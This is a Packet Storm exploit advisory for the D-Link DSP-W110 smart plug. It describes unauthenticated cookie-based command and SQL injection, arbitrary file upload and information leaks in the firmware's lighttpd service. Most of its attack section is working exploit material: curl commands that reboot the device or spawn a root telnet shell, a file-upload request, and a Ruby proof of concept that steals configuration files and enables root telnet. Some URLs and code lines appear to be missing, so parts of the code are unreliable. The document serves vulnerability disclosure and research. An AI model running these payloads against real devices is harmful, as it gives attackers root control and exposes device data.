exploit the possibilities

D-Link DSP-W110 Command Execution / SQL Injection / File Upload

D-Link DSP-W110 Command Execution / SQL Injection / File Upload
Posted Jun 12, 2015
Authored by Peter Adkins

D-Link DSP-W110 suffers from command execution, remote file upload, and remote SQL injection vulnerabilities.

tags | exploit, remote, vulnerability, sql injection, file upload
MD5 | 60368f45a9e5e9dc027e8f88c36e226f

D-Link DSP-W110 Command Execution / SQL Injection / File Upload

Change Mirror Download
>> D-Link DSP-W110 - multiple vulnerabilities

Discovered by:
Peter Adkins <peter.adkins@kernelpicnic.net>

Local network; unauthenticated access.

Tracking and identifiers:
CVE - None allocated.

Platforms / Firmware confirmed affected:
D-Link DSP-W110 (Rev A) - v1.05b01

* There appears to be a number of references to both 'miiiCasa' as well as
'fitivision' throughout the firmware, which may indicate that these
vulnerabilities could be present in other devices not listed in this

* A copy of this document, as well as the proof of concept below and a
more detailed write-up has been made available via GitHub:

* https://github.com/darkarnium/secpub/tree/master/D-Link/DSP-W110

Arbitrary command execution / SQL Injection

Patches made to lighttpd by the vendor exposes the device to both SQL
injection, and more interestingly, arbitrary code execution. This is due to
the improper sanitization of data supplied by a client.

As the lighttpd service provides endpoints to be accessed without
authentication, it provides a vector for an attacker to execute arbitrary
commands on the device as the root user via HTTP call without authentication

The root cause of this issue is that the contents of an HTTP Cookie, with
any name, is passed verbatim to a sprintf() call in order to form an SQL
query used to validate existing client sessions. By simply performing an
HTTP request against the device with a correctly formatted cookie set,
arbitrary SQL can be executed against the internal SQLite database.

Further to this issue, as this SQL query is passed to a popen() call in
order to execute the query, arbitrary commands are also able to be run on
the device as the root user.

This said, due to the length of the allocated buffer, the value of the
cookie cannot exceed 19 characters. However, as below, 19 characters is
exactly enough to pop a shell on the device.

# Reboot the device.
curl \
--cookie "terribleness='\`reboot\`"

# Spawn a root shell (telnet)
curl \
--cookie "terribleness=\`telnetd -l/bin/sh\`"

Arbitrary file upload

Patches made to lighttpd by the vendor exposes the device to arbitrary file
upload attacks.

Unfortunately, the only 'filtering' on this resources appears to be a
sprintf() call which statically prefixes a submitted 'dev' argument with
'/www'. However, if a HTTP request is performed without a 'dev' argument
at all, the sprintf() call is never reached, and a fully-qualified path can
be provided in the 'path' parameter - bypassing the upload path restriction.

As a result of the above, this resource can be used to upload files to
any location on the filesystem of devices running vulnerable firmware
versions without authentication.

# Upload arbitrary files to the device.
echo 'Some String' > test.txt
curl \
-i \
-F name=@test.txt \
--http1.0 \

Diagnostic Information

Patches made to lighttpd by the vendor of this device allows an attacker to
query the device, without authentication, for the following information:

* Current WLAN SSIDs
* Current WLAN channels
* LAN and WAN MAC addressing
* Current firmware version information
* Hardware version information

Although not sensitive information, it may allow for identification of
devices running vulnerable firmware versions.

# Information query.
curl \

Ruby PoC

# DSP-W110-Lighttpd PoC.

require 'pp'
require 'optparse'
require 'restclient'

# Set defaults and parse command line arguments
options = {}

options[:addr] = ""
options[:port] = 80

OptionParser.new do |option|

option.on("--address [ADDRESS]", "Destination hostname or IP") do |a|
options[:addr] = a

option.on("--port [PORT]", "Destination TCP port") do |p|
options[:port] = p



# Define which actions we will be using.
actions = [
:name => "Get device information",
:call => "txt_parser",
:path => "mplist.txt",
:name => "Snatch configuration",
:call => "noop",
:path => "HNAP1",
:cookies => { :cookie => "`cp /etc/co* /www/`" }
:name => "Fetch configuration",
:call => "conf_writer",
:path => "config.sqlite",
:name => "Enable telnet (root)",
:call => "noop",
:path => "HNAP1",
:cookies => { :cookie => "`telnetd -l/bin/sh`" }

def noop(val)

def txt_parser(txt)
txt.split(/\r?\n/).each do |line|
puts " #{line}"

def conf_writer(txt)
f = File.open('./config.sqlite', 'wb')
rescue => e
puts "[!] Failed to open config.sqlite for writing #{e.message}"
puts "[*] Configuration fetched into 'config.sqlite'"

# Iterate over all actions and attempt to execute.
url = "http://#{options[:addr]}:#{options[:port]}"

puts "[!] Attempting to extract information from #{url}"

actions.each do |action|

# Fire the request and ensure a 200 OKAY.
response = RestClient.get(
{:cookies => action[:cookies]}
puts "[!] Failed to query remote host."

if response.code != 200
puts "[-] '#{action[:name]}' failed with response: #{response.code}"

# Send to the processor.
puts "[*] #{action[:name]} request succeeded."
send(action[:call], response.body())



RSS Feed Subscribe to this comment feed

No comments yet, be the first!

Login or Register to post a comment

File Archive:

April 2020

  • Su
  • Mo
  • Tu
  • We
  • Th
  • Fr
  • Sa
  • 1
    Apr 1st
    60 Files
  • 2
    Apr 2nd
    20 Files
  • 3
    Apr 3rd
    10 Files
  • 4
    Apr 4th
    0 Files
  • 5
    Apr 5th
    0 Files
  • 6
    Apr 6th
    0 Files
  • 7
    Apr 7th
    0 Files
  • 8
    Apr 8th
    0 Files
  • 9
    Apr 9th
    0 Files
  • 10
    Apr 10th
    0 Files
  • 11
    Apr 11th
    0 Files
  • 12
    Apr 12th
    0 Files
  • 13
    Apr 13th
    0 Files
  • 14
    Apr 14th
    0 Files
  • 15
    Apr 15th
    0 Files
  • 16
    Apr 16th
    0 Files
  • 17
    Apr 17th
    0 Files
  • 18
    Apr 18th
    0 Files
  • 19
    Apr 19th
    0 Files
  • 20
    Apr 20th
    0 Files
  • 21
    Apr 21st
    0 Files
  • 22
    Apr 22nd
    0 Files
  • 23
    Apr 23rd
    0 Files
  • 24
    Apr 24th
    0 Files
  • 25
    Apr 25th
    0 Files
  • 26
    Apr 26th
    0 Files
  • 27
    Apr 27th
    0 Files
  • 28
    Apr 28th
    0 Files
  • 29
    Apr 29th
    0 Files
  • 30
    Apr 30th
    0 Files

Top Authors In Last 30 Days

File Tags


packet storm

© 2016 Packet Storm. All rights reserved.

Security Services
Hosting By